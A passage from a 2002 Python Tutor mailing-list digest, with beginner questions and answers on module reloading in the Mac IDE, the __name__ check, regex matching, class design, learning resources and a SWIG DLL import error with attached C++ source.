have inserted a modification of Jesse W's reset code (as
advertised on tutor). It implements a total reload of modules,
whether they have been changed or not.  I am not yet sure how to
find out which ones have been changed and actually need
reloading.  In addition, I have preserved Jesse's user_safe_items
option which allows you to specify things that shouldn't be
reloaded. I'm not sure at this point why that might be needed so
maybe the best bet is to leave it out.

One of the problems it has right now is that the user_safe_items
are only paid attention to the *2nd* time that the script is run.
 For example, let's say you ran the script with imported module A
and you didn't have any user_safe_items defined.  Then you make
modifications to A but don't want those changes read so you add
the line

user_safe_items=['A']

to your script.  When you run it, the present modifications to
the _run definition don't honor that change to the script so
module A is re-read anyway.  It won't be re-read the next time
you run the script, though. This might be because until the code
is executed, this new variable doesn't yet exist in the
namespace.  I think this is why the reverse happens, too.  If you
now remove the user_safe_items line from your script, module A
won't be read the first time, but it will be read the next time
the script is run.

Does anyone have some thoughts on this?  What might someone *not*
want wiped out between runs?

Is it worth figuring out which modules actually need reloading or
not? Perhaps one could fund out which modules actually need
reloading by checking the modification dates on the .py and the
.pyc files and see if the .py is newer and only then reload the
module.  

HERE'S WHAT IT CATCHES NOW
--------------------------
#x=1 was changed to y=1 but print x was not changed;
#x is flagged as not being defined
#y=1
#print x

#print 'f' in function f was changed to print 'g';
#it does so correctly
#def f():
#	print 'g'
#f()

#a module was imported and then changed; the modified
#module is re-loaded and shows the changed behavior
import ext
ext.ex()

HERE'S THE MODIFICATION TO THE _run DEFINITION
----------------------------------------------

	def _run(self):
		if self.run_with_interpreter:
			if self.editgroup.editor.changed:
				import EasyDialogs
				import Qd; Qd.InitCursor()
				save = EasyDialogs.AskYesNoCancel('Save "%s" before running?' %
self.title, 1)
				if save > 0:
					if self.domenu_save():
						return
				elif save < 0:
					return
			if not self.path:
				raise W.AlertError, "Can't run unsaved file"
			self._run_with_interpreter()
		else:
			pytext = self.editgroup.editor.get()
			globals, file, modname = self.getenvironment()
			#-------cps addition (note: the namespace is called "globals")
			safe_items=['__builtins__', '__doc__', '__file__', '__name__']
			if 'user_safe_items' in globals.keys():
				safe_items+=globals['user_safe_items']

			for item in globals.keys():
				if item not in safe_items:
					if str(type(globals[item]))=="<type 'module'>":
						exec "reload("+item+")" in globals
					else:
						exec ("del "+item) in globals 
			#-------end cps addition
			self.execstring(pytext, globals, globals, file, modname)


--------------

/c



From csmith@blakeschool.org  Sat Feb  2 23:08:02 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Sat, 02 Feb 2002 17:08:02 -0600
Subject: [Tutor] cls in the IDE
Message-ID: <fc.004c4b6b008b84cd004c4b6b008b84cd.8b8508@blakeschool.org>

I believe this issue has been addressed on the Windows/Unix? systems
but it perisists as far as I can tell on the Mac: how to clear the
output window.

I have been poking around in the code for the Mac's IDE and found the
place that clears the screen of the output window.  In order to
issue a clear screen command I think that one would simply need a
module like this:

def cls():
	import PyConsole
	PyConsole.PyOutput.clearbuffer(X)

where X is the instance of the PyOutput window...which I don't
know how to get.  Can anyone help me here?  The actual error I
get when trying to execute a PyConsole.PyOutput.clearbuffer()
command is

unbound method clearbuffer() must be called with PyOutput
instance as first argument (got NoneType instance instead).



I see that in PythonIDEMain there is the command 

PyConsole.installoutput()

which I assume creates the output window.  If so, am I doomed
because the instance information has not been stored anywhere?

Thanks for any assistance.

/c



From bigal@geosci.uchicago.edu  Sat Feb  2 22:25:53 2002
From: bigal@geosci.uchicago.edu (Alistair McGowan)
Date: Sat, 2 Feb 2002 17:25:53 -0500
Subject: [Tutor] Problem with module
Message-ID: <v04210100b882129e79bb@[128.135.227.62]>

--============_-1199433740==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Dear Python Wranglers,
			Finally I am making the transition from 
BASIC. Most impressed by Python after the horrific encounters I had 
with C, which frustrated me so much I gave up.. I am having some 
problems getting a couple of programs in Ivan Van Laningham's 
otherwise great TY Python book to run. In case it makes any 
difference I am working on a Mac in OS 9. My stumbling block is the
if  __name__ == "_main_" :
 
Here is the code, which I have tried to run both as a script and 
within the interpreter. I can get the syntax error indicator to move 
around in the lines by in the _name_ part of the line, but can't get 
it to run.  I tried substituting console for main in the IDE. I have 
tried various iterations of the line spacing and numer to no avail. I 
also tried the MacPython site to look for some model code. I tried 
inserting the above line with only single quotes, but no joy. 
Apologies if this is a trival problem, but I hope I can repay the 
favor in the future.
	Cheers,
		Al

def c (p) :
	spy  = 60*60*24*365.2422
	n = long (spy)*long (p)
	return n
if  _name_  ==  "__main__" :
	n = c (186000)
	print n

Alistair J. McGowan
Department of Geophysical Sciences,
University of Chicago
Chicago
IL 60637

Phone: 773-955-4040 x5-1170
Fax: 773-702-9505

"Hope is a duty from which paleontologists are exempt."
				David Quammen
--============_-1199433740==_ma============
Content-Type: text/enriched; charset="us-ascii"

Dear Python Wranglers,

			Finally I am making the transition from BASIC. Most impressed by
Python after the horrific encounters I had with C, which frustrated me
so much I gave up.. I am having some problems getting a couple of
programs in Ivan Van Laningham's otherwise great TY Python book to run.
In case it makes any difference I am working on a Mac in OS 9. My
stumbling block is the

if  __name__ == "_main_" :

     

Here is the code, which I have tried to run both as a script and within
the interpreter. I can get the syntax error indicator to move around in
the lines by in the _name_ part of the line, but can't get it to run. 
I tried substituting console for main in the IDE. I have tried various
iterations of the line spacing and numer to no avail. I also tried the
MacPython site to look for some model code. I tried inserting the above
line with only single quotes, but no joy. Apologies if this is a trival
problem, but I hope I can repay the favor in the future.

	Cheers,

		Al


<fontfamily><param>Geneva</param><bigger>def c (p) :

	spy  = 60*60*24*365.2422

	n = long (spy)*long (p)

	return n

if  _name_  ==  "__main__" :

	n = c (186000)

	print n
</bigger></fontfamily>

Alistair J. McGowan

Department of Geophysical Sciences,

University of Chicago

Chicago

IL 60637


Phone: 773-955-4040 x5-1170 

Fax: 773-702-9505


"Hope is a duty from which paleontologists are exempt."

				David Quammen

--============_-1199433740==_ma============--


From cheshire_cat_sf@yahoo.com  Sun Feb  3 00:29:48 2002
From: cheshire_cat_sf@yahoo.com (Britt Green)
Date: Sat, 2 Feb 2002 16:29:48 -0800 (PST)
Subject: [Tutor] Instantiating large numbers of objects?
In-Reply-To: <E16X3XJ-0008Pk-00@mail.python.org>
Message-ID: <20020203002948.83454.qmail@web14103.mail.yahoo.com>

Hello Everyone,

Here is the problem I'm having: I've decided to write a very simple,
basic text adventure as a way of learning more about Python. For this
game I've created a simple class called Rooms. I'd like to know the
best way to instantiate several dozen of these rooms?

I know I could do something like:

theKitchen = Room(...)
thePorch = Room(...)
theWineCellar = Room(...)

but this seems cumbersome and it won't scale. I thought I could create
a list of Rooms but that seems like a cludge as well. I know that in C
I could create an array of objects and access them by their number.
Would doing something like this in Python be the best way to do this?
Or is there something else I should try?

Thanks to everyone who's helping me out. When I'm famous and wealthy, I
promise to remember you all! ;)

Britt

=====
"The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman."

__________________________________________________
Do You Yahoo!?
Great stuff seeking new owners in Yahoo! Auctions! 
http://auctions.yahoo.com


From pythontutor@venix.com  Sun Feb  3 00:43:08 2002
From: pythontutor@venix.com (Lloyd Kvam)
Date: Sat, 02 Feb 2002 19:43:08 -0500
Subject: [Tutor] Problem with module
References: <v04210100b882129e79bb@[128.135.227.62]>
Message-ID: <3C5C879C.9000801@venix.com>

def c(p):
        spy = 60*60*24*365.2422
        n = long (spy)*long (p)
        return n

if __name__ == "__main__" :
        n = c(186000)
        print n

Both name and main are surrounded by double underscores.  When I pasted
from your email, name only had single underscores.

Including the traceback with your problem makes it a LOT easier to solve!

Try pasting this back into a script and see how you do.


Alistair McGowan wrote:

> Dear Python Wranglers,
> Finally I am making the transition from BASIC. Most impressed by Python 
> after the horrific encounters I had with C, which frustrated me so much 
> I gave up.. I am having some problems getting a couple of programs in 
> Ivan Van Laningham's otherwise great TY Python book to run. In case it 
> makes any difference I am working on a Mac in OS 9. My stumbling block 
> is the
> if __name__ == "_main_" :
> 
> 
> Here is the code, which I have tried to run both as a script and within 
> the interpreter. I can get the syntax error indicator to move around in 
> the lines by in the _name_ part of the line, but can't get it to run. I 
> tried substituting console for main in the IDE. I have tried various 
> iterations of the line spacing and numer to no avail. I also tried the 
> MacPython site to look for some model code. I tried inserting the above 
> line with only single quotes, but no joy. Apologies if this is a trival 
> problem, but I hope I can repay the favor in the future.
> Cheers,
> Al
> 
> def c (p) :
> spy = 60*60*24*365.2422
> n = long (spy)*long (p)
> return n
> if _name_ == "__main__" :
> n = c (186000)
> print n
> Alistair J. McGowan
> Department of Geophysical Sciences,
> University of Chicago
> Chicago
> IL 60637
> 
> Phone: 773-955-4040 x5-1170
> Fax: 773-702-9505
> 
> "Hope is a duty from which paleontologists are exempt."
> David Quammen


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice: 
603-443-6155
fax: 
801-459-9582



From urnerk@qwest.net  Sun Feb  3 02:36:58 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Sat, 02 Feb 2002 18:36:58 -0800
Subject: [Tutor] Instantiating large numbers of objects?
In-Reply-To: <20020203002948.83454.qmail@web14103.mail.yahoo.com>
References: <E16X3XJ-0008Pk-00@mail.python.org>
Message-ID: <4.2.0.58.20020202182403.00ca3bb0@pop3.norton.antivirus>

>
>Thanks to everyone who's helping me out. When I'm famous
>and wealthy, I promise to remember you all! ;)
>
>Britt

If you have lots of detailed, specific room info, then
there's no substitute for having this info *somewhere*.
You can have it in the code (it scales if you add to
the code) or you can have it in a file, which your
code reads, and uses to create objects.

Where should these objects live?  We've talked about putting
them in a dictionary, where they can be accessed by name.
We've also looked at adding new objects to globals e.g.
by going:  globals()['thegreathall']=Room()

A dungeon or castle is a sophisticated data structure
(potentially).  Rooms exit to other rooms, so one approach
is to save where the exits go, as attributes of the rooms.
You could have Connection objects and use composition
I suppose, e.g.

        class Kitchen(Room):
            def __init__(self):
                self.exit1 = Connection("Hall")
                self.exit2 = Connection("DiningRoom")

In this model, rooms are class definitions, not just
instantiations of Rooms.  Given the info associated with
each room, this might work better.

Detailed advice is difficult, because what shapes the
design is the overall structure and purpose of the game
or whatever.  Just knowing you want "a lot of rooms"
is an insufficient basis for more than a few tips.
So I'll be quiet now.

Kirby


Kirby



From ainsoph3@attbi.com  Sun Feb  3 03:52:25 2002
From: ainsoph3@attbi.com (chris schwan)
Date: 02 Feb 2002 19:52:25 -0800
Subject: [Tutor] idle and redhat
In-Reply-To: <4.2.0.58.20020202093906.019f4e40@pop3.norton.antivirus>
References: <4.2.0.58.20020202093906.019f4e40@pop3.norton.antivirus>
Message-ID: <1012708346.2611.1.camel@milarepa>

On Sat, 2002-02-02 at 09:40, Kirby Urner wrote:

> Each Python version should have its own IDLE.  The 2.1
> version might not have installed it by default, if
> you compiled your own.  I think it's in a /Tools
> subdirectory, and you may need to use dsutils to
> install it -- only did it once on Mandrake Linux, so
> I'm not the most expert here.  But I do think you want
> to have a separate IDLE for each version of Python you
> run.
> 
> Kirby

Kirby,

Thanks a bunch.. It turns out I was using the redhat 7.2 rpms of 2.1,
they do not include tools and a bunch of stuff, so i ditched it for 2.2,
and now I have the right IDLE.

thanks a bunch.

C.



From wilson@isis.visi.com  Sun Feb  3 04:20:17 2002
From: wilson@isis.visi.com (Tim Wilson)
Date: Sat, 2 Feb 2002 22:20:17 -0600 (CST)
Subject: [Tutor] container class
Message-ID: <Pine.GSO.4.10.10202022217130.6754-100000@isis.visi.com>

Hi everyone,

I've just put together a couple classes here investigating how to do a
container class. Does the following seem reasonable? There isn't yet
enough for any sort of useful program, but I think it shows my train of
thought. Any feedback appreciated. 

-Tim

# PyAddress, a simple program to organize names and addresses
# by Tim Wilson <wilson@visi.com>

class AddressBook:
    def __init__(self):
        """Initialize an empty address book."""
        self.contents = {}
        
    def addEntry(self, entry):
        """Add an entry to the address book.
        
        Argument:
        entry -- An AddressBookEntry instance
        
        """
        self.contents[entry.ln + entry.fn] = entry
        
    def printBook(self):
        """Print the contents of the address book."""
        print "%-20s %-12s" % ('Name', 'Phone')
        print '='*33
        k = self.contents.keys()
        k.sort()
        for name in k:
            entry = self.contents[name]
            print entry

class AddressBookEntry:
    def __init__(self, fn, ln, phone='', email=''):
        """Construct a new entry for the address book.
        
        Arguments:
        fn -- first name
        ln -- last name
        phone -- phone number
        email -- email address
        
        """
        self.fn = fn
        self.ln = ln
        self.phone = phone
        self.email = email

    def __str__(self):
        """One-line version of entry info."""
        name = self.ln + ', ' + self.fn
        return "%-20s %-12s" % (name, self.phone)
          
    def details(self):
        """Print the full entry record."""
        print self.fn, self.ln
        print '=' * (len(self.fn) + len(self.ln) + 1)
        print "Phone: %s" % self.phone
        print "Email: %s" % self.email

--
Tim Wilson      |   Visit Sibley online:   | Check out:
Henry Sibley HS |  http://www.isd197.org   | http://www.zope.com
W. St. Paul, MN |                          | http://slashdot.org
wilson@visi.com |  <dtml-var pithy_quote>  | http://linux.com



From paulsid@shaw.ca  Sun Feb  3 05:35:09 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Sat, 02 Feb 2002 22:35:09 -0700
Subject: [Tutor] container class
References: <Pine.GSO.4.10.10202022217130.6754-100000@isis.visi.com>
Message-ID: <3C5CCC0D.10EBC6F6@shaw.ca>

Tim Wilson wrote:

> I've just put together a couple classes here investigating how to do a
> container class. Does the following seem reasonable? There isn't yet
> enough for any sort of useful program, but I think it shows my train of
> thought. Any feedback appreciated.

Strictly speaking, I don't believe these aren't container classes.  A
container class to me is a generic class that can contain any type of
object.  Python already provides a bunch of 'em (list, dictionary,
etc.).  Anyhow, that's just a terminology thing.  I know what you meant.

> # PyAddress, a simple program to organize names and addresses
> # by Tim Wilson <wilson@visi.com>

This should maybe be a module docstring.  Otherwise, good use of
docstrings throughout!

> class AddressBook:
>     def __init__(self):
>         """Initialize an empty address book."""
>         self.contents = {}

For maximum flexibility I suggest adding the capability to pass an
optional list of initializing entries:

    def __init__(self, initlist=[]):
        """Initialize an empty address book."""
        self.contents = {}
        for entry in initlist:
            self.addEntry(entry)

In fact, you could even put the last two lines in an addListOfEntries()
method which could then be used independently.  It may be handy for file
I/O, copying/pasting of entries, etc.  Given that a minimal amount of
effort is needed and the fact you're taking a "container class
approach", it certainly seems worth it.

>         self.contents[entry.ln + entry.fn] = entry

You may want to consider indexing your dictionary like this:

self.contents[(entry.ln, entry.fn)]

This is a little clearer IMO.  Furthermore, with your method there is a
very small possibility of collision for people with different names. 
Consider 1) fn="paul", ln="adamson" and 2) fn="paula", ln="damson". 
Both would yield "pauladamson" as a key name.  Granted this is a
contrived example, but problems like this do show up in the real world
quite a bit and are _EXTREMELY_ hard to track down, so I think it's best
to learn to watch for them and then get into the habit of preventing
them at the earliest possible stage.

>         for name in k:
>             entry = self.contents[name]
>             print entry

I'm not sure where others stand on creating single-use variables
('entry' in the case above), but my personal feeling is they normally
aren't necessary and tend to clutter up code.  That's more of a personal
preference thing though.

>     def __str__(self):
>         """One-line version of entry info."""
>         name = self.ln + ', ' + self.fn
>         return "%-20s %-12s" % (name, self.phone)

Exception to above - the 'name' variable makes the display string much
easier to use/maintain.

All in all, it looks very good!  Actually this is a very nice example of
class usage in a situation where it's very tempting not to bother with a
class in the first place.

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From paulsid@shaw.ca  Sun Feb  3 05:45:20 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Sat, 02 Feb 2002 22:45:20 -0700
Subject: [Tutor] container class
References: <Pine.GSO.4.10.10202022217130.6754-100000@isis.visi.com>
 <3C5CCC0D.10EBC6F6@shaw.ca>
Message-ID: <3C5CCE70.C3DED99F@shaw.ca>

Paul Sidorsky wrote:

> >         self.contents[entry.ln + entry.fn] = entry
> Consider 1) fn="paul", ln="adamson" and 2) fn="paula", ln="damson".
> Both would yield "pauladamson" as a key name.  

Whoops, misread the concatenation order, so my example is wrong.  It
works if you swap fn and ln in each case, though then the actual names
don't really make sense.  

I'm too lazy to come up with reasonable-sounding names for another
example, so hopefully the essence of my point was not lost...

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From Ciaguy@aol.com  Sat Feb  2 17:34:46 2002
From: Ciaguy@aol.com (Ciaguy@aol.com)
Date: Sat, 2 Feb 2002 12:34:46 EST
Subject: [Tutor] Newbie
Message-ID: <46.21e081ac.298d7d36@aol.com>

I recently bought "SAMS Teach Yourself Python in 24 Hours."  Hour #2 suggests 
I sign up for the Tutor mailing list.  How to do this?

Background: I wish to teach myself to write programs for my computer.  I have 
absolutely no experience.  I am probably around 10 notches below beginner 
level.  I am no math whiz.  I am just a 60 y/o male with only a keen desire 
to teach myself a programming language.  Friends(?) have suggested I start 
with XBasic, Liberty Basic, Visual Basic, or even C++ (Wrong!).

Will Python be a good "idiot" user friendly language for self teachers, such 
as myself?  Thanks for any advice or input.

Sincerely,
Wolf


From mks99@t-online.de  Sat Feb  2 19:25:59 2002
From: mks99@t-online.de (=?iso-8859-1?Q?Markus_Sch=F6nhaber?=)
Date: Sat, 2 Feb 2002 20:25:59 +0100
Subject: [Tutor] Re: Why it does NOT work on Linux ?
References: <3C5AAA9E.18034.11AB3F0@localhost>
Message-ID: <000901c1ac1f$781796a0$012aa8c0@sauron>

> I have the following part of program that finds ItemID numbers.
> Here, for example, are two
> 146759 and 146700 .
> This program works well under windows but on Linux it does not
> find any number. Can you please help?
> Thanks.
> Ladislav
>
> ####################
> import re
> Text="""<tr BGCOLOR="#FFFFFF">
>                       <td valign="top" align="left"><a
> href="lead.asp?ItemID=146759">[CN] Oak, Foiled &amp; Antique
> Furniture</a></td>
>                       <td valign="top" align="center">18/12/2001</td>
>                     </tr><tr BGCOLOR="#FFFFFF">
>                     <td valign="top" align="left"><a
> href="lead.asp?ItemID=146700">[CN] Oak, Foiled &amp; Antique
> Furniture</a></td>
>                       <td valign="top" align="center">18/12/2001</td>
>                     </tr>"""
>
> IDs=re.compile('.*<a href="lead.asp\?ItemID=(\d{5,10}).*')
> Results=re.findall(IDs,Text)
> print Results

The interesting thing is, that it works at all for you. It definitely
doesn't on my WinXP machine.

1.) Here
> IDs=re.compile('.*<a href="lead.asp\?ItemID=(\d{5,10}).*')
> Results=re.findall(IDs,Text)

you call re.findall with a regular expression object as a first parameter
which should be a string. What you want to do is

Results = IDs.findall(Text)

i. e. call the appropriate method on the re object you created.


2.) There are two whitespaces (a space and a newline - the latter may be
inserted by your or my mail agent) between "<a" and "href...". So you should
replace your re with something like this:

IDs = re.compile('<a\s*href="lead.asp\?ItemID=(\d{5,10})', re.MULTILINE)

Since you are using findall, the enclosing ".*" expressions are superfluous.


BTW: Be careful reagarding backslashes in REs since the string gets
interpreted two times.

Regards
  mks




From randytalbot@home.com  Sun Feb  3 06:50:13 2002
From: randytalbot@home.com (Randy Talbot)
Date: Sun, 3 Feb 2002 01:50:13 -0500
Subject: [Tutor] Newbie
In-Reply-To: <46.21e081ac.298d7d36@aol.com>
Message-ID: <000001c1ac7f$08380e40$5b582144@aberdn01.md.comcast.net>

> From: tutor-admin@python.org [mailto:tutor-admin@python.org] 
> On Behalf Of Ciaguy@aol.com
> Sent: Saturday, February 02, 2002 12:35 PM
> To: tutor@python.org
> Subject: [Tutor] Newbie
 
> I recently bought "SAMS Teach Yourself Python in 24 Hours."  
> Hour #2 suggests I sign up for the Tutor mailing list.  How to do
this?

Go to http://mail.python.org/mailman/listinfo/tutor and fill out the
form under Subscribing to Tutor. For a newbie to python
http://www.python.org/doc/Newbies.html is a good place to visit. And a
good website to begin using IDLE is
http://hkn.eecs.berkeley.edu/~dyoo/python/idle_intro/ . When you save a
program just add the .py extension to the name. For example,
firstprogram would be firstprogram.py in python.
 
> Background: I wish to teach myself to write programs for my 
> computer.  I have absolutely no experience.  I am probably around 10
notches 
> below beginner level.  I am no math whiz.  I am just a 60 y/o male
with only 
> a keen desire to teach myself a programming language.  Friends(?) have

> suggested I start with XBasic, Liberty Basic, Visual Basic, or even
C++ (Wrong!). 
> Will Python be a good "idiot" user friendly language for self
teachers, such 
> as myself?  Thanks for any advice or input.
> Sincerely,
> Wolf

I am a beginner also, started out with Qbasic and felt that that was a
mistake. A good over all book for me about the concepts of computer
programming is "How Computer Programming Works" by Dan Appleman. And the
book that I like the best for learning python so far is "The Quick
Python Book" by Daryl Harms, even though it is written for people who
have experience programming in another language.
 

Randy Talbot



From kalle@gnupung.net  Sun Feb  3 15:10:08 2002
From: kalle@gnupung.net (Kalle Svensson)
Date: Sun, 3 Feb 2002 16:10:08 +0100
Subject: [Tutor] Newbie
In-Reply-To: <46.21e081ac.298d7d36@aol.com>
References: <46.21e081ac.298d7d36@aol.com>
Message-ID: <20020203151008.GA27583@sandra.lysator.liu.se>

[Ciaguy@aol.com]
> I recently bought "SAMS Teach Yourself Python in 24 Hours."  Hour #2
> suggests I sign up for the Tutor mailing list.  How to do this?

Visit http://mail.python.org/mailman/listinfo/tutor and follow the
instructions there under "Subscribing to Tutor".

> Background: I wish to teach myself to write programs for my
> computer.  I have absolutely no experience.  I am probably around 10
> notches below beginner level.  I am no math whiz.  I am just a 60
> y/o male with only a keen desire to teach myself a programming
> language.

Good!  The desire to learn is required, everything on top of that
(like a computer, or a mailing list like this to ask questions) is
added bonus, but not necessary.

[...]
> Will Python be a good "idiot" user friendly language for self
> teachers, such as myself?  Thanks for any advice or input.

Python is an excellent choise for a first language.  It's remarkably
clear and simple, yet it's powerful enough for writing almost any type
of program.  Also, there is a large and friendly user community that
can be of invaluable assistance to a self teacher.  Good luck to you,
and don't be afraid to ask questions.  The list is here for you!

Peace,
  Kalle
-- 
Kalle Svensson (kalle@gnupung.net) - Laziness, impatience, hubris: Pick two!
English: http://www.gnupung.net/  Svenska: http://www.lysator.liu.se/~kalle/
Stuff: ["http://www.%s.org/" % x for x in "gnu debian python emacs".split()]


From m_konermann@gmx.de  Sun Feb  3 16:30:53 2002
From: m_konermann@gmx.de (Keule)
Date: Sun, 03 Feb 2002 17:30:53 +0100
Subject: [Tutor] C++ Extension Problems (Part1)
Message-ID: <3C5D65BD.7060800@gmx.de>

This is a multi-part message in MIME format.
--------------030800020909010209070602
Content-Type: multipart/alternative;
 boundary="------------020406090507060503020205"


--------------020406090507060503020205
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 8bit

Hi @ ALL !

I´ve created a .dll file with SWIG under windows. Now i want to use it 
and try to import it into the simannealfile.py modul, but pythonwin 
always gives the following error:

File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 394, 
in ImportFile
    exec codeObj in __main__.__dict__
  File "<auto import>", line 1, in ?
ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.
Traceback (most recent call last):
  File "C:\Python21\Pythonwin\pywin\framework\scriptutils.py" , line 
301, in RunScript
    exec codeObject in __main__.__dict__
  File 
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.py" 
, line 2, in ?
    import simannealfile
ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.

I checked out the examples ,delivered with SWIG, and compared them with 
my Settings under Visual C++. The Examples are all functioned and now i 
absolutly did´nt know whats going wrong and why i always get the 
Errormessage above. I ´ve put my files with these mail.
Perhaps anyone of you could check my settings an can give me an advice 
what´s going wrong.

Thanks a lot
Greetings
Marcus


--------------020406090507060503020205
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<html>
<head>
</head>
<body>
Hi @ ALL !<br>
<br>
 I&acute;ve created a .dll file with SWIG under windows. Now i want to use it and 
try to import it into the simannealfile.py modul, but pythonwin always gives 
the following error:<br>
<br>
<i>File <a class="moz-txt-link-rfc2396E" href="C:%5CPython21%5CPythonwin%5Cpywin%5Cframework%5Cscriptutils.py">
"C:\Python21\Pythonwin\pywin\framework\scriptutils.py"</a>
, line 394, in ImportFile<br>
  &nbsp;&nbsp;&nbsp; exec codeObj in __main__.__dict__<br>
  &nbsp; File "&lt;auto import&gt;", line 1, in ?<br>
  ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.<br>
  Traceback (most recent call last):<br>
  &nbsp; File <a class="moz-txt-link-rfc2396E" href="C:%5CPython21%5CPythonwin%5Cpywin%5Cframework%5Cscriptutils.py">
"C:\Python21\Pythonwin\pywin\framework\scriptutils.py"</a>
, line 301, in RunScript<br>
  &nbsp;&nbsp;&nbsp; exec codeObject in __main__.__dict__<br>
  &nbsp; File <a class="moz-txt-link-rfc2396E" href="C:%5CArbeit_Diplomarbeit%5C__Optimierer%5CTEM%5Csimannealfile%5Csimannealfile.py">
"C:\Arbeit_Diplomarbeit\__Optimierer\TEM\simannealfile\simannealfile.py"</a>
, line 2, in ?<br>
  &nbsp;&nbsp;&nbsp; import simannealfile<br>
  ImportError: DLL load failed: Das angegebene Modul wurde nicht gefunden.</i><br>
<br>
 I checked out the examples ,delivered with SWIG, and compared them with
my Settings under Visual C++. The Examples are all functioned and now i absolutly 
did&acute;nt know whats going wrong and why i always get the Errormessage above. 
I &acute;ve put my files with these mail. <br>
 Perhaps anyone of you could check my settings an can give me an advice what&acute;s 
going wrong.<br>
<br>
 Thanks a lot<br>
 Greetings<br>
 Marcus<br>
<br>
</body>
</html>

--------------020406090507060503020205--

--------------030800020909010209070602
Content-Type: text/plain;
 name="basisfile.h"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="basisfile.h"

#ifndef BASISFILE_H
#define BASISFILE_H

#include "safe_string.h"
#include "variable.h"

struct filetext {
  filetext ();
  ~filetext ();

  void clean (struct filetext *ft);
  void clean ();

  struct string text;
  struct string parameter_text;
  /* text first line number */ 
  int tfln;
  /* text last line number */
  int tlln;
  /* pointer to the variable-struct, which points to this
     text-struct. */
  struct variablelist *variable_pointer;
  struct filetext *next;
};

struct basisfile {
  basisfile ();
  basisfile (struct string &fn);
  basisfile (char *fn);
  ~basisfile ();

  void init (char *fn);
  void clean ();
  
  struct filetext *text;
  struct string *filename;

  int readfile ();
  /* write this.text and this.parameter_text to file 'filename'.
     writefile walks through from this to last element of next-pointer
     and writes first text and then parameter_text to the file.  The
     file is opened once in mode 'mode'.  Values of mode are meant to
     be "w"- or "a"-modes according to the fopen()-function. */
  int writefile (struct string &filename, char *mode = "w");
  int writefile (char *mode = "w");
  int build (struct variablelist *variable);
  /* searches parameter_text specified in 'variable' in text of
     'text'.  If found, the text of 'text' is split into 'text' and
     'parameter_text' and in case some text of the line is left, a new
     node is inserted into 'text'.  In case of **text contains a
     splitted line, split will call itself recursively in order to
     search the whole line.  The text-pointer of *variable is set to
     the node of **text containing the parametertext belonging to
     variable.

     How is parameter_text searched for?  It is searched for the line
     variable->linenumber.  variable->preseparator and
     variable->pastseparator gives the text left and right from the
     searched parameter_text.  variable->position gives the number of
     preseparator sets which must be found before parameter_text.  If
     variable->position is 0, variable->preseparator is ignored and it
     is assumed, that the parameter_text starts at the beginning of
     the line.  If enough preseparators are found, the pastseparator
     will be searched for.  An empty pastseparator will lead to an
     error, if the file is continuing after the parameter_text.  A
     pastseparator not found, too.

     Return value is 0, if everything is fine, > 0 if an error occured.
  */
  int split (struct filetext **text, struct variablelist *variable, 
	     int separators = 0);
};

/* Copys x_now of variables to their parameter_texts */
int vl2pt (struct variablelist *vl);
void print (struct filetext *ft);
#endif

--------------030800020909010209070602
Content-Type: text/plain;
 name="calculate.cpp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="calculate.cpp"

#include "calculate.h"
#include "basisfile.h"


int calculate (struct variable &result, struct variablelist *vl, 
	       struct basisfile *bf, struct string *call) {
  /* create basisfile with given values of variables */
  /* 1. copy actual variables to parameter text parts */
  if (vl2pt (vl)) {
    printf ("calculate ():\n ");
    printf ("Error while copying variables (x_now) to parameter texts.\n");
    return 1;
  }

  /* 2. write basisfile */
  if (bf)
    bf->writefile ();
  else {
    printf ("calculate ():\n No basisfile structure specified.\n");
    return 1;
  }
  
  /* execute calculation */
  call->system_call ();

  /* build result out of calculated data */
  /* under construction !! */
  FILE *ergebnis = fopen ("output.asc", "r");
  if (ergebnis)
    fscanf(ergebnis, "%lf", &(result.dv));
  else {
    printf ("calculate:  Ausgabedatei `output.asc' nicht gefunden.\n");
    return 1;
  }
  fclose (ergebnis);
  
  return 0;
}

int calculate (struct variable &result, struct basisfile *bf, 
	       struct string *call) {
  /* write basisfile */
  if (bf)
    bf->writefile ();
  else {
    printf ("calculate ():\n No basisfile structure specified.\n");
    return 1;
  }
  
  /* execute calculation */
  call->system_call ();

  /* build result out of calculated data */
  /* under construction !! */
  FILE *ergebnis = fopen ("output.asc", "r");
  if (ergebnis)
    fscanf(ergebnis, "%lf", &(result.dv));
  else {
    printf ("calculate:  Ausgabedatei `ergebnis.asc' nicht gefunden.\n");
    return 1;
  }
  fclose (ergebnis);
  
  return 0;
}


--------------030800020909010209070602
Content-Type: text/plain;
 name="calculate.h"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="calculate.h"

#ifndef CALCULATE_H
#define CALCULATE_H

#include "variable.h"

/* calculates results for basisfile.  If vl is parameter, the x_now's
   from vl will be incorporated into the basisfile.  Otherwise not
   (this version is needed for first calculations, when x_now is still
   empty.) */
int calculate (struct variable &result, struct variablelist *vl, 
	       struct basisfile *bf, struct string *call);
int calculate (struct variable &result, struct basisfile *bf, 
	       struct string *call);

#endif

--------------030800020909010209070602
Content-Type: text/plain;
 name="evaluate.cpp"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="evaluate.cpp"

#include "evaluate.h"

evaluate::evaluate () {
  goal = NULL;
  epsilon = NULL;
  minchange = NULL;
  criteria = '0';
}

evaluate::~evaluate () {
}

int evaluate::abort (struct variable &result) {
